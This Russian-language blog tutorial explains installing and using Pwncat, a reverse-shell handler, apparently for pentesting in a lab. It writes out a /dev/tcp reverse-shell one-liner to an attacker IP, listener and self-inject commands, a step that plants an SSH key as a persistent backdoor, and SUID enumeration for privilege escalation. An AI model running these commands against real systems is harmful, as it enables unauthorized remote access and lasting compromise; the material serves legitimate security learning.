Мы уже рассказывали про использование Netcat в пентесте, но Netcat имеет некоторые ограничения, которые не имеет Pwncat. В этой статье я покажу, как установить и использовать Pwncat.
Еще по теме: Используем MSFVenom для создания полезной нагрузки Android
Мои первые обратные шеллы представляли собой простое соединение между моей машиной и целью с помощью Netcat. Проблема в том, что Netcat не всегда предоставляет правильно функционирующий шелл. Можно замудохаться с интерактивными командами или отображением файлов.
Установка и использование Pwncat
Это и заставило меня найти альтернативу Netcat, и так я обнаружил Pwncat: программу на Python, которая имеет два режима: один режим для ввода команд Pwncat, а другой для работы с шеллом жертвы. Первый режим позволяет использовать различные команды автоматизации, о которых поговорим позже.
Установка Pwncat
Устанавливается просто, но есть зависимости:
1 |
pip install git+https://github.com/calebstewart/pwncat.git |
или
1 2 3 4 5 6 7 8 |
python setup.py install python3 -m venv pwncat-env source pwncat-env/bin/activate python setup.py install sudo pip3 install -U git+https://github.com/calebstewart/paramiko //Основные функции, которые понадобятся на первое время pwncat -l -p 4444 pwncat -l -p 4444 --self-inject /bin/bash:192.168.119.203:4445 ctrl+D privesc -l privesc -e -u root |
Создание обратного шелла (Reverse Shell)
Для начала я буду использовать Pwncat для ожидания входящего подключения:
1 |
pwncat-cs -lp 1337 |
Теперь представьте, что я могу запустить любую команду на целевой машине. Итак, я отправлю шелл с помощью bash -i:
1 |
sh -i >& /dev/tcp/10.10.176.245/1337 0>&1 |
После запуска получаю обратный шелл в моем Pwncat:

Мы можем увидеть несколько фрагментов информации о нашем терминале: Pwncat «нормализует» шелл (мы переключаемся на интерактивную оболочку). Таким образом, мы можем вводить специальные команды Pwncat, такие, как скачивание, загрузка и т. д.
Создание бэкдора
Теперь, когда я подключен к целевой машине, я хочу сохранить соединение, для этого я установлю бэкдор. У Pwncat есть модуль, который делает это автоматически и другими способами. В этот раз я просто дам ему SSH-ключ для установки на целевую машину.
1 |
run implant.authorized_key key=./.ssh/id_rsa |
Путь к ключу ssh тот же, что и на моем компьютере, с которого я запустил Pwncat.
Следующая команда отобразит бэкдоры со списком запускаемых имплантатов:

Теперь, если целевая машина будет отключена и заново запущена, я всегда смогу переподключиться с помощью этого бэкдора.
Повышение привилегий с помощью Pwncat
Я подключен к цели, но я не имею прав администратора. Попробуем с помощью Pwncat отыскать какую-нибудь ошибку или неправильную конфигурацию. Для этого в Pwncat есть модуль enumerate:
1 |
run enumerate |
Эта команда отобразит важную информацию. И, как мы видим исполняемый файл env имеет SUID бит.
Я мог бы найти эту неправильную конфигурацию, сообщив Pwncat, какой поиск я хочу сделать.
1 |
run enumerate types=file.suid |
Теперь, когда я нашел уязвимый исполняемый файл, все, что мне нужно сделать, это переключиться на шелл жертвы (Ctrl+D) и выполнить полезную нагрузку:
Терминал может немного подглючить. Pwncat не любит, когда делается privesc таким образом. Чтобы исправить это, просто переключитесь к локальному контексту (CTRL+D) и снова вернитесь к целевому шеллу.
Заключение
Pwncat — очень мощный инструмент, который во многих отношениях может облегчить вашу жизнь в работе с обратным шеллом. Я не рассмотрел модуль автоматического повышения привилегий, который, на мой взгляд, на данный момент слабоват.
У Pwncat есть также API, который позволяет автоматизировать некоторые задачи, но с этим попробуйте разобраться сами, благо документация позволяет это сделать, не ломая голову.
Рекомендуем: